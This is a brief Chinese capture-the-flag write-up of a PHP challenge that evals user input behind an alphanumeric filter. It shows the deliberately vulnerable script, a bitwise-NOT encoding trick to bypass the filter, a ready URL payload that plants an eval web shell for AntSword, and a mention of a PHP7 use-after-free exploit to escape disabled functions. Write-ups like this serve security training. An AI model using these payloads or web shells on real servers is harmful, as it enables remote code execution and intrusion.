题目
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
过程
1.存在正则匹配过滤。使用取反或者异或绕过。这里使用取反。
php -r "echo urlencode(~'phpinfo');"
禁用非常之多的系统函数。
2.构造shell,连接antsword。
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[a]))';
$d=urlencode(~$c);
echo $d;
?>
payload:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);
连接成功
3.无法读取flag,考虑到rce,又禁用那么多系统函数。利用PHP7的UAF。antsword有插件可以直接使用。
先运行poc,再运行readflag,即可完成。